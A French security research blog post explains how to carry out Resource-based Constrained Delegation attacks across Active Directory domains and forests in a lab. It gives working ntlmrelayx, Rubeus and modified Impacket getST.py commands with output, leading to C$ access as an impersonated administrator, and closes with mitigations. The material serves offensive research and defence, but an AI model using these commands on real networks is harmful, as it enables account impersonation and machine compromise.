Exploiter la RBCD en environnements cross-domain & cross-forest
L'attaque par Resource-based Constrained Delegation (RBCD) est une technique bien connue des pentesters et des attaquants. En modifiant l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity d'un compte machine, un attaquant peut usurper l'identité d'utilisateurs sur ladite machine. Bien que l'exploitation de ce mécanisme avec les outils Rubeus ou Impacket soit largement documentée au sein d'un même domaine, rares sont les ressources qui traitent de sa mise en œuvre dans des environnements inter-domaines (cross-domain) ou inter-forêts (cross-forest). Dans cet article, nous détaillerons le fonctionnement du workflow RBCD dans ces deux contextes et présenterons un script basé sur Impacket permettant de mener à bien ces attaques.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Introduction
Récemment, nous avons été confrontés à un scénario où il était possible de modifier l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity d'un serveur appartenant à un domaine Active Directory. Cette situation se prêtait parfaitement à une attaque de type Resource-Based Constrained Delegation (RBCD), une technique bien connue et documentée de longue date.
Toutefois, une difficulté s'est présentée : nous ne disposions que d'un accès sur l'un des domaines enfants, mais pas d'un accès dans le domaine ciblé. En cherchant comment mener cette attaque dans un tel environnement inter-domaines, nous avons réalisé que les scripts actuels d'Impacket ne permettaient pas de réaliser une RBCD dans ce contexte précis.
Le manque de documentation sur ce vecteur d'attaque spécifique nous a donc poussés à analyser en profondeur le fonctionnement de la RBCD entre différents domaines.
Exploiter la RBCD inter-domain
Configuration de l'environnement
Pour étudier la RBCD entre deux domaines, nous avons commencé par créer deux domaines d'une même forêt : asgard.local et dev.asgard.local. Au sein du domaine asgard.local, nous avons créé un ordinateur (nommé workstation), qui sera la cible de notre attaque RBCD.
Nous avons aussi créé un objet ordinateur au sein du domaine dev.asgard.local, appelé rbcd_test$ :
$ python3 addcomputer.py dev.asgard.local/thor_dev:'[...]' -dc-ip 192.168.90.131 -computer-name rbcd_test -computer-pass '[...]'
Ensuite, nous avons autorisé le compte rbcd_test$@dev.asgard.local à effectuer une RBCD sur workstation@asgard.local, en l'ajoutant au champ msDs-AllowedToActOnBehalfOfOtherIdentity de ce dernier.
Pour cela, nous avons réalisé une attaque par relai NTLM en utilisant le script Impacket ntlmrelayx.py, comme nous le ferions lors d'un pentest. Cependant, le compte rbcd_test$@dev.asgard.local n'est pas un membre du domaine asgard.local et n'est donc pas présent dans l'annuaire LDAP du domaine : nous devons passer son SID dans la ligne de commande plutôt que son nom.
Nous avons utilisé la commande suivante :
$ sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 --no-dump --no-da --no-validate-privs --delegate-access --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 --sid
[...]
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /21i/pipe/srvsvc
[*] HTTPD(80): Connection from 192.168.90.190 controlled, attacking target ldap://192.168.90.217
[*] HTTPD(80): Authenticating against ldap://192.168.90.217 as ASGARD/WORKSTATION$ SUCCEED
[*] Assuming relayed user has privileges to escalate an user via ACL attack
[-] User not found in LDAP: S-1-5-21-3104832133-133926542-3798009529-1106
[-] Unable to escalate without a valid user.
[*] Delegation rights modified succesfully!
[*] S-1-5-21-3104832133-133926542-3798009529-1106 can now impersonate users on WORKSTATION$ via S4U2Proxy
La délégation est maintenant configurée : le but est désormais d'exploiter cette RBCD et usurper l'identité de thor_adm@asgard.local sur la machine ciblée afin de la compromettre.
Le déroulement de la RBCD inter-domain
En cherchant de la documentation sur les étapes de la RBCD dans notre environnement, nous avons trouvé la documentation Microsoft pour les échanges S4U2Self inter-domaines. Cependant, nous n'avons pas trouvé d'information concernant les étapes S4U2Proxy, qui sont aussi nécessaires pour effectuer la RBCD.
Heureusement, la RBCD inter-domaines est déjà implémentée dans Rubeus, dans la fonction CrossDomainS4U du fichier S4U.cs : nous avons donc un déroulé des différentes étapes de notre RBCD.
- Nous demandons un TGT for
rbcd_test$@dev.asgard.localau contrôleur de domainedev. - Nous demandons un TGT inter-domaine à ce même contrôleur de domaine pour pouvoir nous authentifier au domaine
asgard.local. - Avec ce ticket, nous obtenons un ticket de service "referral" via S4U2Self pour l'utilisateur
thor_adm@asgard.localauprès du contrôleur de domaineasgard.local. - À l'aide de ce ticket, nous effectuons la demande de ticket via S4U2Self pour l'utilisateur
thor_adm@asgard.localpour le servicerbcd_test$@dev.asgard.localsur le contrôleur de domainedev.asgard.local. - Nous effectuons une demande de ticket via S4U2Proxy au contrôleur de domaine de
dev.asgard.local, en fournissant le TGT inter-domaine ainsi que le ticket obtenu à l'étape 4 via S4U2Self. - On utilise ce ticket et le TGT inter-domaine pour obtenir le ticket de service final via S4U2Proxy pour le domaine
asgard.local.
Comme évoqué ci-dessus, Rubeus permet d'effectuer toutes ces étapes en fournissant les arguments suivants :
Rubeus.exe s4u /user:"rbcd_test$" /aes256:2b[...]b8fe /domain: dev.asgard.local /impersonateuser:thor_adm /msdsspn:"cifs/workstation.asgard.local" /targetdc:dc01.asgard.local /targetdomain:asgard.local /ptt /nowrap
[*] Action: S4U
[*] Using aes256_cts_hmac_sha1 hash: C2354F843A6C52BC484522831DFA13531EB0F72DE9D9133EBEF447A5CF60F0E3
[*] Building AS-REQ (w/ preauth) for: 'dev.asgard.local\rbcd_test$'
[*] Using domain controller: 192.168.90.131:88
[+] TGT request successful!
[...]
[*] Action: S4U
[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from DEV.ASGARD.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[+] TGS request successful!
[...]
ServiceName : krbtgt/ASGARD.LOCAL
ServiceRealm : DEV.ASGARD.LOCAL
UserName : rbcd_test$ (NT_PRINCIPAL)
UserRealm : DEV.ASGARD.LOCAL
StartTime : 04/11/2025 17:32:38
EndTime : 05/11/2025 03:32:38
RenewTill : 11/11/2025 17:32:38
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 5Qsm4lJIOWsjZL8fyCgAJA==
[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for thor_adm@asgard.local from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]
[*] Requesting the S4U2Self ticket from DEV.ASGARD.LOCAL
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Requesting the cross realm 'S4U2Self' for thor_adm@asgard.local from
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]
[+] Ticket successfully imported!
Une fois le ticket importé, nous pouvons désormais l'utiliser pour accéder au partage C$ de workstation.asgard.local :
dir \\workstation.asgard.local\c$
Répertoire : \\workstation.asgard.local\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 14/04/2025 09:51 inetpub
d----- 07/12/2019 10:14 PerfLogs
d-r--- 05/05/2025 17:13 Program Files
d-r--- 16/01/2025 18:20 Program Files (x86)
d-r--- 30/10/2025 16:17 Users
d----- 28/05/2025 14:35 Windows
-a---- 22/02/2024 01:33 112136 appverifUI.dll
-a---- 28/05/2025 14:51 154093 log.txt
-a---- 22/02/2024 01:34 66328 vfcompat.dll
Depuis une machine Linux : implémentation avec Impacket
Après avoir effectué cette attaque à l'aide de Rubeus, nous nous sommes demandés s'il était possible de l'effectuer à l'aide d'Impacket. Malheureusement, le script getST.py ne permet pas d'effectuer les étapes S4U2Self et S4U2Proxy inter-domaines.
En effet, en analysant une capture réseau lors d'une RBCD inter-domaines, nous avons noté que pour les étapes 3 à 6, le realm Kerberos des demandes de tickets était différent de celui du ticket utilisé dans le champ PA-TGS-REQ :
Cependant, dans la version d'Impacket de getST.py, il n'est pas possible de spécifier le realm dans la requête Kerberos, qui est défini depuis le ticket inclus dans la requête.
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
[...]
reqBody['realm'] = str(decodedTGT['crealm'])
Qui plus est, l'implémentation de getST.py ne permet pas d'effectuer l'étape S4U2Proxy indépendamment de S4U2Self : il n'est possible d'effectuer uniquement soit S4U2Self, soit S4U2Self + S4U2Proxy.
Nous avons donc implémenté la RBCD inter-domaines dans getST.py en suivant la même procédure que Rubeus. Le script est maintenant accessible ici.
Pour utiliser ce script, plusieurs arguments supplémentaires doivent être fournis :
- L'adresse IP du premier contrôleur de domaine à contacter, soit celui du domaine de l'utilisateur courant (
-dc-ip). - Le domaine à cibler (
-targetdomain). - L'adresse IP du contrôleur de domaine du domaine à cibler, dans lequel se trouve le compte dont nous souhaitons usurper l'identité (
-targetdc).
Dans notre cas, l'exploitation de la RBCD inter-domaine s'est donc traduite par la ligne de commande suivante :
$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache
Après l'exécution du script, nous obtenons bien un ticket qui nous permet d'utiliser l'identité de thor_adm sur workstation et accéder au partage C$ :
$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache
$ KRB5CCNAME=thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache ./smbclient.py "asgard.local/thor_adm@workstation.asgard.local" -k -no-pass -dc-ip 192.168.90.217
[+] Using Kerberos Cache: thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache
[+] Returning cached credential for CIFS/WORKSTATION.ASGARD.LOCAL@ASGARD.LOCAL
[+] Using TGS from cache
Type help for list of commands
# use c$
# ls
drw-rw-rw- 0 Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw- 0 Tue Jul 8 09:53:41 2025 $WinREAgent
-rw-rw-rw- 112136 Thu Jan 16 18:20:04 2025 appverifUI.dll
drw-rw-rw- 0 Thu Jan 16 17:26:14 2025 Documents and Settings
[...]
Et voilà !
Le cas de la RBCD cross-forest
Une fois le mécanisme de la RBCD inter-domaines implémenté, nous avons tenté d'effectuer le même processus pour deux forêts différentes : asgard.local et valhalla.local.
Après avoir configuré la relation d'approbation entre les deux domaines, nous avons configuré la RBCD de la même façon que précédemment : le compte desktop$.valhalla.local a été autorisé à effectuer la RBCD sur workstation.asgard.local.
Nous avons d'abord lancé Rubeus, en s'attendant à ce que tout marche du premier coup :
Rubeus.exe s4u /user:"desktop$" /domain:valhalla.local /aes256:D3E7[...] /impersonateuser:thor /msdsspn:cifs/workstation.asgard.local /targetdc:dc01.asgard.local /dc:DC.valhalla.local /targetdomain:asgard.local /nowrap /ptt
[*] Action: S4U
[*] Using aes256_cts_hmac_sha1 hash: D3E7[...]
[*] Building AS-REQ (w/ preauth) for: 'valhalla.local\desktop$'
[*] Using domain controller: 192.168.90.161:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF[...]
[*] Action: S4U
[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from VALHALLA.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[+] TGS request successful!
[*] base64(ticket.kirbi):
do[...]
ServiceName : krbtgt/ASGARD.LOCAL
ServiceRealm : VALHALLA.LOCAL
UserName : desktop$ (NT_PRINCIPAL)
UserRealm : VALHALLA.LOCAL
StartTime : 06/11/2025 16:27:06
EndTime : 07/11/2025 02:27:06
RenewTill : 13/11/2025 16:27:06
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : UMT4xgEW71Wuq9eR3fqE5A==
[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for thor@asgard.local from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):
doIF[...]
[*] Requesting the S4U2Self ticket from VALHALLA.LOCAL
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Requesting the cross realm 'S4U2Self' for thor@asgard.local from DC.valhalla.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):
doIF[...]
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on DC.valhalla.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/workstation.asgard.local':
doIG[...]
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request
[X] KRB-ERROR (12) : KDC_ERR_POLICY
... mais nous avons obtenu une erreur KDC_ERR_POLICY.
Comme visible dans la dernière commande, seule la dernière étape (demande de ticket de service via S4U2Proxy après referral) échoue. Cependant, le contenu du dernier ticket obtenu est similaire à celui du scénario RBCD inter-domaines :
- Les deux tickets ont tous les deux les drapeaux
forwardable,renewable,pre_authent,ok_as_delegate, etenc_pa_rep. - Les champs extra-SID sont les mêmes dans les deux cas :
S-1-18-2(Service asserted identity). - Le drapeau
PAC_WAS_GIVEN_IMPLICITLYest défini dans les deux cas.
L'erreur KDC_ERR_POLICY suggère que du filtrage empêche le processus de fonctionner. Cependant, le mécanisme de filtrage de SID n'est, à notre connaissance, pas impliqué ici.
En effet, nous sommes confrontés à l'erreur KDC_ERR_POLICY même en effectuant les mêmes étapes avec des comptes non privilégiés du domaine asgard.local, même si aucun des SID mentionnés dans la documentation Microsoft ne concerne notre utilisateur.
Nous avons également essayé d'activer la délégation de TGT pour la relation d'approbation : sans résultat.
En cherchant pourquoi nos tests se soldaient par des échecs, nous sommes tombés sur le tableau suivant résumant les différentes configurations fonctionnelles pour la RBCD : https://freeipa.readthedocs.io/en/latest/designs/rbcd.html#use-cases.
Ce tableau fait référence à la documentation Microsoft, qui présente les éléments suivants :
2. Dans les déploiements impliquant plusieurs forêts (une forêt d'utilisateurs, une forêt de ressources et une forêt pour le Proxy d'application Web Windows Server), les configurations suivantes sont prises en charge :
a. Les utilisateurs et les serveurs Proxy d'application se trouvent dans la même forêt, mais les ressources sont dans une forêt différente.
b. Les ressources et les serveurs Proxy d'application se trouvent dans la même forêt, mais les utilisateurs sont dans une forêt différente (KCD traditionnel).3. Dans les déploiements impliquant plusieurs forêts (une forêt d'utilisateurs, une forêt de ressources et une forêt pour le Proxy d'application Web Windows Server), les configurations suivantes ne fonctionneront pas :
a. Les utilisateurs, les ressources et les serveurs Proxy d'application sont tous situés dans des forêts différentes.
b. Les utilisateurs et les ressources sont dans la même forêt, mais les serveurs Proxy d'application sont dans une forêt différente.
Pour transposer dans notre cas, cela signifie que la RBCD inter-forêt ne fonctionnera que si l'identité usurpée fait partie de la même forêt que le compte autorisé à effectuer la RBCD. Ainsi, dans notre cas de figure, il ne nous est possible d'usurper l'identité que de comptes de la forêt valhalla.local.
Bien que ce chemin d'attaque soit moins puissant que celui d'une RBCD standard au sein d'un même domaine ou de domaines d'une même forêt (car il n'est pas possible d'usurper l'identité d'un utilisateur de la forêt ciblée), il peut toujours être intéressant si des utilisateurs d'une autre forêt disposent de privilèges d'administration. Ainsi, si un attaquant dispose d'un compte dans cette forêt, cette attaque pourra être menée.
Pour simuler ce chemin d'attaque, nous avons ajouté des droits d'administration à l'utilisateur v_thor@valhalla.local sur l'ordinateur workstation.asgard.local. L'objectif sera donc d'usurper l'identité de v_thor@valhalla.local pour accéder et compromettre workstation.asgard.local.
Cependant, même en respectant les contraintes de la RBCD inter-forêts, l'outillage actuel (Rubeus ou Impacket) ne nous permettent pas d'effectuer la RBCD inter-forêts. Ainsi, pour étudier les échanges Kerberos, nous avons simulé le trafic réseau de la délégation en exécutant le code suivant en tant que desktop$ (le principal autorisé à usurper des identités sur les services de workstation.asgard.local), comme décrit par exploit.ph et Will Schroeder :
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx
# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('v_thor@valhalla.LOCAL')
# actually impersonate the next context
$Context = $Ident.Impersonate()
# implicitly invoke S4U2Proxy with the specified action
ls \\workstation.asgard.local\C$
Nous avons effectué l'usurpation d'identité et analysé le trafic Kerberos généré. Les différentes étapes sont les suivantes :
- Nous demandons un TGT pour
desktop$@valhalla.localau contrôleur du domainevalhalla.local. - À l'aide de ce ticket, nous effectuons une demande de ticket via S4U2Self pour l'utilisateur
v_thor@valhalla.localau contrôleur du domainevalhalla.local. - Nous effectuons une demande de ticket via S4U2Proxy pour le service ciblé pour l'utilisateur
v_thor@valhalla.local, toujours sur le contrôleur du domainevalhalla.local. Celui-ci répond avec un referral TGT pour le domaineasgard.local. - Nous effectuons une autre demande via S4U2Proxy au contrôleur de domaine de
valhalla.local, mais sans fournir le ticket obtenu via S4U2Self comme ticket additionnel. De plus, le drapeaubranch-awareest activé dans laPA-PAC-OPTIONS. La réponse du contrôleur de domainevalhalla.localcontient un second referral TGT pour le domaineasgard.local. - Avec le TGT obtenu à l'étape 3, nous effectuons une demande de ticket au contrôleur de domaine d'
asgard.localpour le service ciblé. Nous obtenons un ticket pour l'utilisateurdesktop$@valhalla.local. Ce ticket n'est pas utilisé durant le processus de RBCD. - Avec les tickets referral obtenus aux étapes 3 et 4, nous effectuons une demande de ticket via S4U2Proxy pour le service ciblé sur le contrôleur de domaine d'
asgard.local. Nous obtenons ainsi un ticket pour le service demandé pour l'utilisateur ciblé (v_thor@valhalla.localdans notre cas).
Comme nous pouvons le remarquer, les étapes 1 à 3 sont exactement les mêmes que dans le cas d'une RBCD sur un seul domaine. Pour autant, le ticket obtenu à l'issue de ces étapes est un ticket TGT referral : il s'agit d'un des deux tickets nécessaires pour obtenir le ticket final pour le service ciblé (ici cifs/workstation.asgard.local).
En regardant en détail le trafic Kerberos généré lors de l'usurpation d'identité de la RBCD inter-forêts, nous avons observé que le ticket obtenu à l'étape 5 n'est jamais utilisé dans le processus. Il est ainsi possible d'occulter cette demande de ticket et d'obtenir un ticket de service valide.
Plusieurs détails dans la RBCD inter-forêts diffèrent du processus de la RBCD usuelle, ce qui explique l'impossibilité de Rubeus et d'Impacket pour mener ce processus. En particulier :
-
À l'étape 4, la demande de ticket doit disposer du drapeau
branch-aware, qui n'est pas utilisé dans les implémentations de Rubeus ou d'Impacket. -
À l'étape 6, le ticket est chiffré à l'aide de l'algorithme RC4, indépendamment des options de chiffrement demandées.
Enfin, nous avons implémenté ces différentes étapes dans getST.py (disponible ici). Nous avons donc pu obtenir un ticket de service valide pour cifs/workstation.asgard.local. Un argument additionnel doit être utilisé ici (-forest) afin d'identifier que nous sommes dans un cas de RBCD inter-forêts :
$ python3 ./getST.py -spn 'cifs/workstation.asgard.local' -impersonate 'v_thor' -dc-ip VALHALLA.local valhalla.local/'desktop$' -targetdc ASGARD.local -targetdomain asgard.local -aesKey 4[...]f -forest
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Requesting TGS
[*] Saving ticket in v_thor@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache
$ KRB5CCNAME=v_thor@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache smbclient.py -k -no-pass -target-ip 192.168.90.190 valhalla.local/v_thor@workstation.asgard.local
# use c$
# ls
drw-rw-rw- 0 Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw- 0 Tue Jul 8 09:53:41 2025 $WinREAgent
-rw-rw-rw- 112136 Thu Feb 12 18:32:33 2026 appverifUI.dll
drw-rw-rw- 0 Thu Jan 16 17:26:14 2025 Documents and Settings
Conclusion
Nos recherches nous ont permis d'étudier le fonctionnement du protocole Kerberos dans des environnements inter-domaines et inter-forêts. Nous avons pu effectuer une attaque RBCD dans deux forêts différentes, et implémenter le fonctionnement de cette attaque dans Impacket pour pouvoir l'utiliser depuis des machines Linux.
Protéger les domaines Active Directory des attaques décrites dans cet article est assez simple. En effet, des chemins de compromission via les attaques RBCD peuvent apparaître lorsque des configurations permettant les relais NTLM sont possibles. Des protections contre les attaques par relais NTLM doivent être implémentées au niveau des services Active Directory : la signature et la liaison de canal LDAP doivent être imposées, et les protocoles facilitant les attaques par relai (LLMNR, IPv6, etc.) doivent être désactivés en l'absence de besoin fonctionnel. De plus, des erreurs de configuration des ACL peuvent également mener à des chemins d'attaques par RBCD. L'utilisation de BloodHound pour auditer les ACL en place devrait aussi être envisagée afin d'identifier ces scénarios.